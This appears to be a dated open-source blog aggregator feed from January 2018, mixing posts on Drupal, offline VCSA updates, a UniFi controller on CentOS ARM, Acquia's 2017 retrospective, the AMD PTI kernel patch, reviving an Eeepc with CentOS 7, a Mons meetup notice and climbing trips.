Unlike many other content management systems, old and new, Drupal provides a spectrum of architectural possibilities tuned to the diverse needs of different organizations. This flexibility between fully decoupling Drupal, progressively decoupling it, and traditional Drupal — in addition to each solution's proven robustness in the wild — gives teams the ability to make an educated decision about the best approach for them. This optionality sets Drupal apart from new headless content management systems and most SaaS platforms, and it also shows Drupal's maturity as a decoupled CMS over WordPress. In other words, it doesn't matter what the team looks like or what the project's requirements are; Drupal has the answer.

Special thanks to Preston So for contributions to this blog post and to Alex Bronstein, Angie Byron, Gabe Sullice, Samuel Mortenson, Ted Bowman and Wim Leers for their feedback during the writing process.

Updating the VCSA is easy when it has internet access or if you can mount the update iso. On a private network, VMware assumes you have a webserver that can serve up the updaterepo files. In this article, we'll look at how to proceed when VCSA is on a private network where internet access is blocked, and there's no webserver available. The VCSA and PSC contain their own webserver that can be used for an HTTP based update. This procedure was tested on PSC/VCSA 6.0.

Follow these steps:


  • First, download the update repo zip (e.g. for 6.0 U3A, the filename is VMware-vCenter-Server-Appliance-6.0.0.30100-5202501-updaterepo.zip ) 
  • Transfer the updaterepo zip to a PSC or VCSA that will be used as the server. You can use Putty's pscp.exe on Windows or scp on Mac/Linux, but you'd have to run "chsh -s /bin/bash root" in the CLI shell before using pscp.exe/scp if your PSC/VCSA is set up with the appliancesh. 
    • chsh -s /bin/bash root
    • "c:\program files (x86)\putty\pscp.exe" VMware*updaterepo.zip root@psc-name-or-address:/tmp 
  • Change your PSC/VCSA root access back to the appliancesh if you changed it earlier: 
    • chsh -s /bin/appliancesh root
  • Make a directory for the repository files and unpack the updaterepo files there:
    • mkdir /srv/www/htdocs/6u3
    • chmod go+rx /srv/www/htdocs/6u3
    • cd /srv/www/htdocs/6u3
    • unzip /tmp/VMware-vCenter*updaterepo.zip
    • rm /tmp/VMware-vCenter*updaterepo.zip
  • Create a redirect using the HTTP rhttpproxy listener and restart it
    • echo "/6u3 local 7000 allow allow" > /etc/vmware-rhttpproxy/endpoints.conf.d/temp-update.conf 
    • /etc/init.d/vmware-rhttpproxy restart 
  • Create a /tmp/nginx.conf (I copied /etc/nginx/nginx.conf, changed "listen 80" to "listen 7000" and changed "mime.types" to "/etc/nginx/mime.types")
  • Start nginx
    • nginx -c /tmp/nginx.conf
  • Start the update via the VAMI. Change the repository URL in settings,  use http://psc-name-or-address/6u3/ as repository URL. Then use "Check URL". 
  • Afterwards, clean up: 
    • killall nginx
    • cd /srv/www/htdocs; rm -rf 6u3


P.S. I personally tested this using a PSC as webserver to update both that PSC, and also a VCSA appliance.
P.P.S. VMware released an update for VCSA 6.0 and 6.5 on the day I wrote this. For 6.0, the latest version is U3B at the time of writing, while I updated to U3A.

January 09, 2018

That's something I should have blogged about earlier, but I almost forgot about it, until I read on twitter other people having replaced their home network equipment with Ubnt/Ubiquiti gear so I realized that it was on my to 'TOBLOG' list.

During the winter holidays, the whole family was at home, and also with kids on the WiFi network. Of course I already had a different wlan for them, separated/seggregated from the main one, but plenty of things weren't really working on that crappy device. So it was time to setup something else. I had opportunity to play with some Ubiquiti devices in the past, so finding even an old Unifi UAP model was enough for my needs (just need Access Point, routing/firewall being done on something else).

If you've already played with those tools, you know that you need a controller to setup the devices up , and because it's 'only' a java/mongodb stack, I thought it would be trivial to setup on a low-end device like RaspberryPi3 (not limited to that , so all armhfp boards on which you can run CentOS would work)

After having installed CentOS 7 armhfp minimal on the device, and once logged, I just had to add the mandatory unofficial epel repository for mongodb

cat > /etc/yum.repos.d/epel.repo << EOF
[epel]
name=Epel rebuild for armhfp
baseurl=https://armv7.dev.centos.org/repodir/epel-pass-1/
enabled=1
gpgcheck=0

EOF

After that, just installed what's required to run the application :

yum install mongodb mongodb-server java-1.8.0-openjdk-headless -y

The "interesting" part is that now Ubnt only provides .deb packages , so we just have to download/extract what we need (it's all java code) and start it :

tmp_dir=$(mktemp -d)
cd $tmp_dir
curl -O http://dl.ubnt.com/unifi/5.6.26/unifi_sysvinit_all.deb
ar vx unifi_sysvinit_all.deb
tar xvf data.tar.xz
mv usr/lib/unifi/ /opt/UniFi
cd /opt/UniFi/bin
/bin/rm -Rf $tmp_dir
ln -s /bin/mongod

You can start it "by hand" but let's create a simple systemd file and use it directly :

cat > /etc/systemd/system/unifi.service << EOF
[Unit]
Description=UBNT UniFi Controller
After=syslog.target network.target

[Service]
WorkingDirectory=/opt/UniFi
ExecStart=/usr/bin/java -jar /opt/UniFi/lib/ace.jar start
ExecStop=/usr/bin/java -jar /opt/UniFi/lib/ace.jar stop

[Install]
WantedBy=multi-user.target

EOF

systemctl daemon-reload
systemctl enable unifi --now

Don't forget that :

  • it's "Java"
  • running on slow armhfp processor

So that will take time to initialize. You can follow progress in /opt/UniFi/logs/server.log and wait for the TLS port to be opened :

while true ; do sleep 1 ; ss -tanp|grep 8443 && break ; done

Dont forget to open the needed ports for firewall and you can then reach the Unifi controller running on your armhfp board.

January 08, 2018

The entrance to Acquia's HQ in BostonThe entrance to Acquia's headquarters in Boston.

For the past nine years, I've sat down every January to write an Acquia retrospective. It's always a rewarding blog post to write as it gives me an opportunity to reflect on what Acquia has accomplished over the past 12 months. If you'd like to read my previous annual retrospectives, they can be found here: 2016, 2015, 2014, 2013, 2012, 2011, 2010, 2009. When read together, they provide insight to what has shaped Acquia into the company it is today.

This year's retrospective is especially meaningful because 2017 marked Acquia's 10th year as a company. Over the course of Acquia's first decade, our long-term investment in open source and cloud has made us the leader in web content management. 2017 was one of our most transformative years to date; not only did we have to manage leadership changes, but we also broadened our horizons beyond website management to data-driven customer journeys.

The next phase of Acquia leadership

A photo of me and TomTom Erickson joined Acquia as CEO in 2009 and worked side-by-side with me for the next eight years.

In my first retrospective from 2009, I shared that Jay Batson and I had asked Tom Erickson to come aboard as Acquia's new CEO. For the next eight years, Tom and I worked side-by-side to build and grow Acquia. Tom's expertise in taking young companies to the next level was a natural complement to my technical strength. His leadership was an example that enabled me to develop my own business building skills. When Tom announced last spring that he would be stepping down as Acquia's CEO, I assumed more responsibility to help guide the company through the transition. My priorities for 2017 were centered around three objectives: (1) the search for a new CEO, (2) expanding our product strategy through a stronger focus on innovation, and (3) running our operations more efficiently.

The search for a new CEO consumed a great deal of my time in 2017. After screening over 140 candidates and interviewing ten of them in-depth, we asked Mike Sullivan to join Acquia as CEO. Mike has been on the job for three weeks and I couldn't be more excited.

Mike Sullivan joins AcquiaMike Sullivan joins Acquia as CEO with 25 years of senior leadership in SaaS, enterprise content management and content governance.

Market trends

I see three major market trends that I believe are important to highlight and that help inform our strategy.

Trend #1: Customers are driven by time-to-value and low cost of maintenance

Time-to-value and low maintenance costs are emerging as two of the most important differentiators in the market. This is consistent with a post I wrote eleven years ago, in regards to The Ockham's Razor Principle of Content Management Systems. The principle states that given two functionally equivalent content management systems, the simplest one should be selected. Across both the low and the high ends of the market, time-to-value and total cost of ownership matter a great deal. Simplicity wins.

In the low end of the market simple sites, such as single blogs and brochure sites, are now best served by SaaS tools such as Squarespace and Wix. Over the past five years, SaaS solutions have been rising in prominence because their templated approach to simple site building makes them very easy to use. The total cost of ownership is also low as users don't have to update and maintain the software and infrastructure themselves. Today, I believe that Drupal is no longer ideal for most simple sites and instead is best suited for more ambitious use cases. Not everyone likes that statement, but I believe it to be true.

In the mid-market, SaaS tools don't offer the flexibility and customizability required to support sites with more complexity. Often mid-market companies need more customizable solutions like Drupal or WordPress. Time-to-value and total maintenance costs still matter; people don't want to spend a lot of time installing or upgrading their websites. Within the scope of Ockham's Razor Principle, WordPress does better than Drupal in this regard. WordPress is growing faster than Drupal for websites with medium complexity because ease of use and maintenance often precede functionality. However, when superior flexibility and architecture are critical to the success of building a site, Drupal will be selected.

In the enterprise, a growing emphasis on time-to-value means that customers are less interested in boil-the-ocean projects that cost hundreds of thousands (or millions) of dollars. Customers still want to do large and ambitious projects, but they want to start small, see results quickly, and measure their ROI every step along the way. Open source and cloud provide this agility by reducing time-to-market, cost and risk. This establishes a competitive advantage for Acquia compared to traditional enterprise vendors like Adobe and Sitecore.

At Acquia, understanding how we can make our products easier to use by enhancing self-service and reducing complexity will be a major focus of 2018. For Drupal, it means we have to stay focused on the initiatives that will improve usability and time to value. In addition to adopting a JavaScript framework in core to facilitate the building of a better administration experience, work needs to continue on Workspaces (content staging), Layout Builder (drag-and-drop blocks), and the Media, Outside-in and Out-of-the-box initiatives. Finally, I anticipate that a Drupal initiative around automated upgrades will kick off in 2018. I'm proud to say that Acquia has been a prominent contributor to many of these initiatives, by either sponsoring developers, contributing code, or providing development support and coordination.

Trend #2: Frictionless user experiences require greater platform complexity

For the past ten years, I've observed one significant factor that continues to influence the trajectory of digital: the internet's continuous drive to mitigate friction in user experience and business models. The history of the web dictates that lower-friction solutions will surpass what came before them because they eliminate inefficiencies from the customer experience.

This not only applies to how technology is adopted, but how customer experiences are created. Mirroring Ockham's Razor Principle, end users and consumers also crave simplicity. End users are choosing to build relationships with brands that guarantee contextual, personalized and frictionless interactions. However, simplicity for end users does not translate into simplicity for CMS owners. Organizations need to be able to manage more data, channels and integrations to deliver the engaging experiences that end users now expect. This desire on the part of end users creates greater platform complexity for CMS owners.

For example, cross-channel experiences are starting to remove certain inefficiencies around traditional websites. In order to optimize the customer experience, enterprise vendors must now expand their digital capabilities beyond web content management and invest in both systems of engagement (various front-end solutions such as conversational interfaces, chatbots, and AR/VR) and systems of intelligence (marketing tools for personalization and predictive analytics).

Shopping with augmented realityThis year, Acquia Labs built a demo to explore how augmented reality can improve shopping experiences.

These trends give organizations the opportunity to reimagine their customer experience. By taking advantage of more channels and more data (e.g. being more intelligent, personalized, and contextualized), we can leapfrog existing customer experiences. However, these ambitious experiences require a platform that prioritizes customization and functionality.

Trend #3: The decoupled CMS market is taking the world by storm

In the web development world, few trends are spreading more rapidly than decoupled content management systems. The momentum is staggering as some decoupled CMS vendors are growing at a rate of 150% year over year. This trend has a significant influence on the technology landscape surrounding Drupal, as a growing number of Drupal agencies have also started using modern JavaScript technologies. For example, more than 50% of Drupal agencies are also using Node.js to support the needs of their customers.

The Drupal community's emphasis on making Drupal API-first, in addition to supporting tools such as Waterwheel and Drupal distributions such as Reservoir, Contenta and Lightning, means that Drupal 8 is well-prepared to support decoupled CMS strategies. For years, including in 2017, Acquia has been a very prominent contributor to a variety of API-first initiatives.

Product milestones

In addition to my focus on finding a new CEO, driving innovation to expand our product offering was another primary focus in 2017.

Throughout Acquia's first decade, we've been focused primarily on providing our customers with the tools and services necessary to scale and succeed with Drupal. We've been very successful with this mission. However, many of our customers need more than content management to be digital winners. The ability to orchestrate customer experiences across different channels is increasingly important to our customers' success. We need to be able to support these efforts on the Acquia platform.

We kicked off our new product strategy by adding new products to our portfolio, and by extending our existing products with new capabilities that align with our customers' evolving needs.

  • Acquia Cloud: A "continuous integration" and "continuous delivery" service for developers was our #1 requested feature, so we delivered Acquia Cloud CD early in 2017. Later in the year, we expanded Acquia Cloud to support Node.js, the popular open-source JavaScript runtime. This was the first time we expanded our cloud beyond Drupal. Previously, if an organization wanted to build a decoupled Drupal architecture with Node.js, it was not able to host the Node.js application on Acquia Cloud. Finally, in order to make Acquia Cloud easier to use, we started to focus more on self-service. We saw rapid customer adoption of our new Stack Metrics feature, which gives customers valuable insight into performance and utilization. We also introduced a new Cloud Service Management model, which empowers our customer to scale their Acquia Cloud infrastructure on the fly.
  • Acquia Lift: In order to best support our customers as they embed personalization into their digital strategies, we have continued to add product enhancements to the new version of Acquia Lift. This included improving Acquia Lift's content authoring capabilities, enhanced content recommendations, and advanced analytics and reporting. The Acquia Lift team grew, as we also founded a machine learning and artificial intelligence team, which will lead to new features and products in 2018. In 2017, Acquia Lift has added over 200 new features, tracks 200% more profiles than in 2016, and has grown 45% in revenue.
A continuous journey across multiple digital touch points and devices

Next, we added two new products to support our evolution from content management to data-driven customer journeys: Acquia Journey and Acquia Digital Asset Manager (DAM).

  • Acquia Journey allows marketers to easily map, assemble, orchestrate and manage customer experiences across different channels. One of the strengths of Acquia Journey is that it allows technical teams to integrate many different technologies, from marketing and advertising technologies to CRM tools and commerce platforms. Acquia Journey unifies these various interaction points within a single user interface, making it possible to quickly assemble powerful and complex customer journeys. In turn, marketers can take advantage of a flowchart-style journey mapping tool with unified customer profiles and an automated decision engine to determine the best-next action for engaging customers.
  • Acquia DAM: Many organizations lack a single-source of truth when it comes to managing digital assets. This challenge has been amplified as the number of assets has rapidly increased in a world with more devices, more channels, more campaigns, and more personalized and contextualized experiences In addition to journey orchestration, it became clear that large organizations are seeking a digital asset management solution that centralizes control of creative assets for the entire company. With Acquia DAM, our customers can rely on one dedicated application to gather requirements, share drafts, consolidate feedback and collect approvals for high-value marketing assets.

Acquia's new product strategy is very ambitious. I'm proud of our stronger focus on innovation and the new features and products that we launched in 2017. Launching this many products and features is hard work and requires tactical coordination across every part of the company. The transition from a single-product company to a multi-product company is challenging, and I hope to share more lessons learned in future blog posts.

Acquia's product strategy for 2017 and beyond

While each new product we announced was well-received, there is still a lot of work to be done: we need to continue to drive end-user demand for our new products and help our digital agency partners build practices around them.

Leading by example

At Acquia, our mission is to deliver "the universal platform for the greatest digital experiences", and we want to lead by example. In an effort to become a thought-leader in our field, the Office of the CTO launched Acquia Labs, our research and innovation lab. Acquia Labs aims to link together the new realities in our market, our customers' needs in coming years, and the goals of Acquia's products and open-source efforts in the long term.

Finally, we rounded out the year by redesigning Acquia.com on Drupal 8. The new site places a greater emphasis on taking advantage of our own products. We wanted to show (not tell) the power of the Acquia platform. For example, Acquia Lift delivers visitors personalized content throughout the site. The new site represents a bolder and more innovative Acquia, aligned with the evolution of our product strategy.

Business momentum

We continued to grow at a steady pace in 2017 and hired a lot of new people. We focused on the growth of our recurring revenue, which includes new customers and the renewal and expansion of our work with existing customers. We also focused on our bottom line.

In 2017, the top industry analysts published very positive reviews based on their independent research. I'm proud that Acquia was recognized by Forrester Research as the leader for strategy and vision, ahead of every other vendor including Adobe and Sitecore, in The Forrester Wave: Web Content Management Systems, Q1 2017. Acquia was also named a leader in the 2017 Gartner Magic Quadrant for Web Content Management, marking our placement as a leader for the fourth year in a row. In addition to being the only leader that is open-source or has a cloud-first strategy, Acquia was hailed by analysts for our investments in open APIs across all our products.

Over the course of 2017 Acquia welcomed an impressive roster of new customers who included Astella Pharma, Glanbia, the Commonwealth of Massachusetts, Hewlett Packard Enterprise, and Bayer GmbH. As we enter 2018, Acquia can count 26 of the Fortune 100 among its customers, up from 16 at the beginning of 2017.

This year was also an incredible growth period for our Asia Pacific business, which is growing ARR at a rate of 80% year over year. We have secured new business in Japan, Hong Kong, Singapore, Indonesia, Malaysia, Philippines and India. When we started our business in Australia in 2012, 70% of the pipeline came from govCMS, the platform offered by the Australian government to all national, territorial and local agencies. Today, our business is much more diverse, with 50% of the region's pipeline coming from outside of Australia.

Jeannie Finks at The Stevies AwardsJeannie Finks, Director of Global Support Systems & Programs, accepting a Gold Stevie for Customer Service Team of the Year. Go team Acquia!

Customer success continues to be the most important driver of the evolution of Acquia's strategy. This commitment was reflected in 2017 customer satisfaction levels, which remains extremely high at 94 percent. Acquia's global support team also received top honors from the American Business Awards and won a Gold Stevie for Customer Service Team of the Year.

This year, we also saw our annual customer conference, Acquia Engage, grow. We welcomed over 650 people to Boston and saw presentations from over twenty customers, including Johnson & Johnson, NBC Sports, Whole Foods, AMD, the YMCA and many more. It was inspiring to hear our customers explain why Acquia and Drupal are essential to their business.

Finally, our partner ecosystem continues to advance. In 2016, we achieved a significant milestone as numerous global systems integrators repeatedly recommended Acquia to their clients. One year later, these partners are building large centers of excellence to scale their Acquia and Drupal practices. Digital agencies and Drupal companies also continue to extend their investments in Acquia, and are excited about the opportunity presented in our expanded product portfolio. In some markets, over 50 percent of our new subscriptions originate from our partner ecosystem.

The growth and performance of the partner community is validation of our strategy. For example, in 2017 we saw multiple agencies and integrators that were entirely committed to Adobe or Sitecore, join our program and begin to do business with us.

Opportunities for Acquia in 2018

When thinking about how Acquia has evolved its product strategy, I like to consider it in terms of Greylocks' Jerry Chen's take on the stack of enterprise systems. I've modified his thesis to fit the context of Acquia and our long-term strategy to help organizations with their digital transformation.

Chen's thesis begins with "systems of record", which are sticky and defensible not only because of their data, but also based on the core business process they own. Jerry identifies three major systems of record today; your customers, your employees and your assets. CRM owns your customers (i.e. Salesforce), HCM owns your employees (i.e. Workday), and ERP/Financials owns your assets. Other applications can be built around a system of record but are usually not as valuable as the actual system of record. For example, marketing automation companies like Marketo and Responsys built big businesses around CRM, but never became as strategic or as valuable as Salesforce. We call these "secondary systems of record". We believe that a "content repository" (API-first Drupal) and a "user profile repository" (Acquia Lift) are secondary systems of record. We will continue our efforts to improve Drupal's content repository and Lift's user profile repository to become stronger systems of record.

Systems of engagement, intelligence, record and delivery

"Systems of engagement" are the interface between users and the systems of record. They control the end-user interactions. Drupal and Lift are great examples of systems of engagement as they allow for the rapid creation of end-user experiences.

Jerry Chen further suggests that "systems of intelligence" will be a third component. Systems of intelligence will be of critical importance for determining the optimal customer journey across various applications. Personalization (Acquia Lift), recommendations (Acquia Lift) and customer journey building (Acquia Journey) are systems of intelligence. They are very important initiatives for our future.

While Chen does not include "systems of delivery" in his thesis, I believe it is an important component. Systems of delivery not only dictate how content is delivered to users, but how organizations build projects faster and more efficiently for their stakeholders and users. This includes multi-site management (Acquia Cloud Site Factory) and continuous delivery services (Acquia Cloud CD), which extend the benefits of PaaS beyond scalability and reliability to include high-productivity and faster time-to-value for our customers. As organizations increase their investments in cross-channel experiences, they must manage more complexity and orchestrate the testing, integration and deployment of different technologies. Systems of delivery, such as Acquia Cloud and Acquia Site Factory, remove complexity from building and managing modern digital experiences.

This is all consistent with the diagram I've been using for a few years now where "user profile" and "content repository" represent two systems of record, getBestNextExperience() is the system of intelligence, and Drupal is the system of engagement to build the customer experience:

Systems of engagement, intelligence, record and delivery

We are confident in the market shift towards "intelligent connected experiences" or "data-driven customer journeys" and the opportunity it provides to Acquia. Every team at Acquia has demonstrated both commitment and focus as we have initiated a shift to make our vision relevant in the market for years to come. I believe we have strong investments across systems of record, intelligence, delivery and engagement that will continue to put us at the center of our customers' technology and digital strategies in 2027.

Thank you

Of course, none of these 2017 results and milestones would be possible without the hard work of the Acquia team, our customers, partners, the Drupal community, and our many friends. Thank you for your support in 2017 and over the past ten years – I can't wait to see what the next decade will bring!

January 07, 2018

IT teams are continuously under pressure to set up and maintain infrastructure services quickly, efficiently and securely. As an infrastructure architect, my main concerns are related to the manageability of these services and the secure setup. And within those realms, a properly documented configuration setup is in my opinion very crucial.

In this blog post series, I'm going to look into using the Extensible Configuration Checklist Description Format (XCCDF) as the way to document these. This first post is an introduction to XCCDF functionally, and what I position it for.

During the holidays we have performed some interviews with main track speakers from various tracks. To get up to speed with the topics discussed in the main track talks, you can start reading the following interviews: Diomidis Spinellis: Unix Architecture Evolution from the 1970 PDP-7 to the 2017 FreeBSD. Important Milestones and Lessons Learned Mary Bennett: Reimagining EDSAC in open source. An valve computer reimplemented using FPGAs, Arduinos, 3D printing and discrete electronics Robert Foss: Running Android on the Mainline Graphics Stack Stefan Behnel: Lift your Speed Limits with Cython. Fast native code for Python Steven Goodwin: Digital Archaeology. Maintaining舰

January 05, 2018

January 04, 2018

Logo NobleCe jeudi 18 janvier 2018 à 19h se déroulera la 65ème séance montoise des Jeudis du Libre de Belgique.

Le sujet de cette séance : Les bases de la connectivité Bluetooth Low Energy sous Linux (Raspberry PI, BeagleBone, etc..) maîtrisées grâce à Noble, une librairie open source incontournable pour Node.js !

Thématique : DIY|Maker|Internet|Graphisme|sysadmin|communauté

Public : Tout public|sysadmin|entreprises|étudiants|…

L’animateur conférencier : Alan Hortz

Lieu de cette séance : HEPH Condorcet, Chemin du Champ de Mars, 15 – 7000 Mons – Auditoire Bloc E – situé au fond du parking (cf. ce plan sur le site d’Openstreetmap; suivre la voirie interne du site pour atteindre le bâtiment E). Le bâtiment est différent de celui utilisé lors des séances précédentes.

La participation sera gratuite et ne nécessitera que votre inscription nominative, de préférence préalable, ou à l’entrée de la séance. Merci d’indiquer votre intention en vous inscrivant via la page http://jeudisdulibre.fikket.com/. La séance sera suivie d’un verre de l’amitié.

Les Jeudis du Libre à Mons bénéficient aussi du soutien de nos partenaires : CETIC, OpenSides, MeaWeb et Phonoid.

Si vous êtes intéressé(e) par ce cycle mensuel, n’hésitez pas à consulter l’agenda et à vous inscrire sur la liste de diffusion afin de recevoir systématiquement les annonces.

Pour rappel, les Jeudis du Libre se veulent des espaces d’échanges autour de thématiques des Logiciels Libres. Les rencontres montoises se déroulent chaque troisième jeudi du mois, et sont organisées dans des locaux et en collaboration avec des Hautes Écoles et Facultés Universitaires montoises impliquées dans les formations d’informaticiens (UMONS, HEH et Condorcet), et avec le concours de l’A.S.B.L. LoLiGrUB, active dans la promotion des logiciels libres.

Description : Les avantages de la connectivité Bluetooth Low Energy n’est plus à démontrer et le nombre de périphériques qu’il est possible de connecter n’a jamais été aussi important qu’aujourd’hui. Alan Hortz vous propose une session interactive afin de découvrir les bases de BLE sous Node.js / Linux (Raspberry PI, BeagleBone, etc.) grâce à la librairie open source incontournable Noble.

Noble vous permet de communiquer avec les périphériques BLE, mais il est également le socle de base à la librairie bleno qui vous permet de transformer n’importe quel raspberry en Beacon ou périphérique BLE.

Cette session couvre tout les aspects essentiels de la communication BLE sur RaspberryPi, BeagleBone, etc. et Node.js

Durant la session Alan abordera l’exemple concret de l’utilisation de beacons BLE et d’un Raspberry Pi 3 pour journaliser, détecter et notifier le mouvement des objets (la porte d’entrée ou la porte du frigo par exemple) de votre maison ainsi que la température ambiante qui les entoure.

Short bio : Alan est le fondateur du lab handson.io dont la mission est de découvrir et promouvoir le prototypage rapide dans le champ d’application des technologies émergentes.

January 03, 2018

From	Tom Lendacky 
Subject	[PATCH] x86/cpu, x86/pti: Do not enable PTI on AMD processors
Date	Tue, 26 Dec 2017 23:43:54 -0600

AMD processors are not subject to the types of attacks that the kernel
page table isolation feature protects against.  The AMD microarchitecture
does not allow memory references, including speculative references, that
access higher privileged data when running in a lesser privileged mode
when that access would result in a page fault.

Disable page table isolation by default on AMD processors by not setting
the X86_BUG_CPU_INSECURE feature, which controls whether X86_FEATURE_PTI
is set.

Signed-off-by: Tom Lendacky 
---
 arch/x86/kernel/cpu/common.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/cpu/common.c b/arch/x86/kernel/cpu/common.c
index c47de4e..7d9e3b0 100644
--- a/arch/x86/kernel/cpu/common.c
+++ b/arch/x86/kernel/cpu/common.c
@@ -923,8 +923,8 @@ static void __init early_identify_cpu(struct cpuinfo_x86 *c)
 
 	setup_force_cpu_cap(X86_FEATURE_ALWAYS);
 
-	/* Assume for now that ALL x86 CPUs are insecure */
-	setup_force_cpu_bug(X86_BUG_CPU_INSECURE);
+	if (c->x86_vendor != X86_VENDOR_AMD)
+		setup_force_cpu_bug(X86_BUG_CPU_INSECURE);
 
 	fpu__init_system(c);

January 02, 2018

Happy New Year! 2017 was a busy and eventful year – both professionally and personally. In many ways, 2017 was the most challenging and best year to date. I'm excited about 2018 and optimistic about what it has in store.

I wanted to thank you all for reading my blog in 2017. Entering 2018, I plan on setting a New Years' resolution of using social media less, and blogging more.

I've been blogging for over 12 years and have been using social media for about 10. Both are black holes for content, however, I feel that blog content at least has a chance to "survive". My blog posts have made a bigger impact than my social media posts. It's not just me. I've seen many bloggers get sucked into social media. Many of them stopped blogging altogether, and they've lost their impact.

Blogging also helps me clarify my thoughts and deepen my thinking. The consistent practice of blogging has helped me grow. Social media doesn't encourage the same kind of deep thinking or thoughtfulness, and as a result, hasn't provided me the same personal growth.

This too, seems to be a universal phenomena. President Donald Trump has infamously relied on Twitter to communicate everything from policy decisions to mockery of opponents. He went so far to call the nuclear-armed Kim Jong Un short and fat on Twitter. This level of recklessness would be harder to accomplish in a long-form blog post on Whitehouse.gov.

Last but not least, the large, centralized social media companies don't sit well with me anymore. It's undeniable that these companies have provided a forum for people to connect and share information, and in many ways they've had a huge impact on human rights and civil liberties. However convenient or impactful they may be, their scale, influence and lack of transparency is of growing concern. In the summer of 2015, I predicted that their data privacy issues and lack of transparency were going to come to a head in the next five to ten years. It didn't take that long – Facebook's unsavory involvement in shaping public opinion started to turn the tide against them in 2017.

We can't have a handful of large platform companies control what people read. When too few organizations control the media and flow of information, we must be concerned. If we allow that to happen, we risk losing what has made the web the most important network in history – a decentralized platform that enables anyone to have a voice.

The web we build today will be the foundation for generations to come and it needs to remain decentralized. It's true that a decentralized web is harder to build and more difficult to use. Frankly, it will be difficult for the open web to win without better data portability, more regulatory oversight, better integrations, and more innovation and collaboration.

At the end of the day, I want to be part of the change that I wish to see in the world. To support this vision, I want to build my audience here, on my blog, on the edge of the internet, rather than on centralized platforms that are outside of my control. So going into 2018, expect me to blog more, and use social media less.

January 01, 2018

So, end of the year is always when you have some "time off" and so can work on various projects that were left behind. While searching for other hardware collecting dust in my furniture (other blog post coming soon about that too) I found my old Asus Eeepc 900 and was wondering if I could resurrect it.

While it was working CentOS 5 and then 6 "just fine" I wanted to give it a try with CentOS 7.

Of course, if you remember the specs from that ~2008 small netbook, you remember that it had :

  • slow cpu (Intel(R) Celeron(R) M processor 900MHz)
  • only 1Gb of ram
  • very limited disk space (ASUS-PHISON OB SSD 4GB + additional 8GB for my model)

Setting up the full Gnome3 experience on it would be completely useless and also unusable. So let's try to setup CentOS 7 AltArch minimal (needed as cpu is only i686/32bits) and add what we need after that. So here we go :

  • Download netinstall iso image (I used "local" mirror for me , so http://mirror.nucleus.be/centos-altarch/7/isos/i386/CentOS-7-i386-NetInstall-1611.iso)
  • use dd to transfer it to usb storage key
  • starting the installed on the eeepc
  • wait .... wait .... wait ...

Once installed and up2date, one needs to add additional repositories that aren't there by default. As a reminder, there is no official Epel builds for i686 (same as for armhfp ) but Johnny started to rebuild Epel SRPMs for that specific reason, so here we go :

cat > /etc/yum.repos.d/epel.repo << EOF
[epel]
name=Epel rebuild for i686
baseurl=https://buildlogs.centos.org/c7-epel/
enabled=1
gpgcheck=0

EOF

cat > /etc/yum.repos.d/kernel.repo << EOF
[kernel]
name=LTS kernel for i686
baseurl=https://buildlogs.centos.org/c7.1708.exp.i386/
enabled=1
gpgcheck=0

EOF

If you see the other kernel repository, that's because the needed ath5k kernel module for the Wifi device in the Eeepc isn't there in the default kernel nor available through elrepo, but it works with that 4.9.x LTS kernel we build and maintain/update for AltArch so let's use it.

We can install what we need (YMMV though) :

yum update -y
yum groupinstall -y 'X Window System'
yum install -y openbox lightdm lightdm-gtk 
systemctl enable lightdm.service
yum install -y tint2 terminator firefox terminus-fonts-console terminus-fonts network-manager-applet gnome-keyring dejavu-sans-fonts dejavu-fonts-common dejavu-serif-fonts dejavu-sans-mono-fonts open-sans-fonts overpass-fonts liberation-mono-fonts liberation-serif-fonts google-crosextra-caladea-fonts google-crosextra-carlito-fonts 

echo 'tint2 &' >> /etc/xdg/openbox/autostart
echo 'nm-applet &' >> /etc/xdg/openbox/autostart
systemctl reboot

The last line with tint2 , terminator and firefox is purely optional but that's what I needed on my eeepc. Same for network-manager-applet, but once installed, it gives you easy to work with applet integrated in openbox environment.

You can then customize it, etc, but I like it so far for what I wanted to use that old netbook for :

CentOS 7 i686 running on Asus Eeepc 900

Well, 2017 was exciting! A new job and a lot of climbing in Belgium, California and France : KVB4 training, crag maintenance weekends with BRT, trips to Fontainebleau and Freyr :

  • First BRT weekend of the year : exploration and first works in new climbing site in Spontin, some langlaufing on Sunday
  • FOSDEM 2017
  • Got selected for a sysadmin position at the ICT department of Ghent University
  • Joining BRT on Sunday for climbing in Freyr
  • More rock maintenance in Spontin, climbing a few routes in Pont-a-Lesse on Sunday
  • Climbing in Gorge du Tarn and Gorge de la Jonte with Vertical Thinking, leadclimbing up to 6a, finished a 6a+ toprope (Fuck the Curve, De Que Fas a Qui), 3 multipitches (Jardin Enchanté, Roc d'Aiguile, Le Bitard), discovered a nice and quiet climbing area at the end of the Jonte valley, called Pauparelle, close to Meyrueis, well equiped, 4 to 6a)
  • Introducing Alex and Tom to bouldering in Fontainebleau during a 4 day climbing trip.
  • Second trip to Fontainebleau with Alwyn, Pieter and Maene.
  • Started working as Linux System Administrator at the ICT department (DICT) of Ghent University
  • Icinga2 training in Amsterdam
  • Trip to Le Marche in Italy, visiting Rome and Milan on the way home by train.
  • KVB4 training in La Bérarde, learning basics of trad climbing, using mobile protection, (self) rescue techniques, a lot of knots (HMS and Alpine slipknot to the rescue!) and tips and tricks to avoid tricky situations when climbing in semi-alpine areas and how to get out of them.
  • Climbing trip to California, visiting Yosemite, Bishop and Joshua Tree, being fortunate to meet some nice people to climb with. It was a nice combination of comfortable sports climbing (Owens River Gorge), getting some experience in trad and crack climbing in Yosemite, and toproping harder crack climbing routes in J-Tree.
  • positive final evaluation for the trial period in my new Linux Sysadmin position
  • Visited 34C3, for the first time in Leipzig. Yet again an interesting 4 days of conference on IT, security, policy and science.

Plans for 2018 :
  • More crag maintenance with BRT and climbing (trad), maybe another climbing trip to California or multipitch climbing in France
  • Conferences : FOSDEM, 35C3
  • Pick up on contributing to Open Source again
From October 25th 2017 to November 9th 2017, I went to California on a climbing trip. The goal was to build experience in trad and crack climbing and explore some climbing areas :

Yosemite

Day 1 : Glacier Point Apron

With Patricia

  • Harry Daley (5.8, 2 pitches)

Day 2 : Swan Slab 

With Rhea and Dan :
  • Oak Tree Flake (5.6) : trad lead
  • Grant's Crack (5.9)
  • Lena's Lieback (5.9)
  • Claude's delight (5.7)
With Rhea :
  • Unnamed Crack (5.9) * : first trad lead while placing gear
  • Unnamed Crack (5.7) *
* Swan Slab, route E (5.7) and F (5.9) in Super Topo Yosemite Valley Free climbs (p. 96)

Bishop

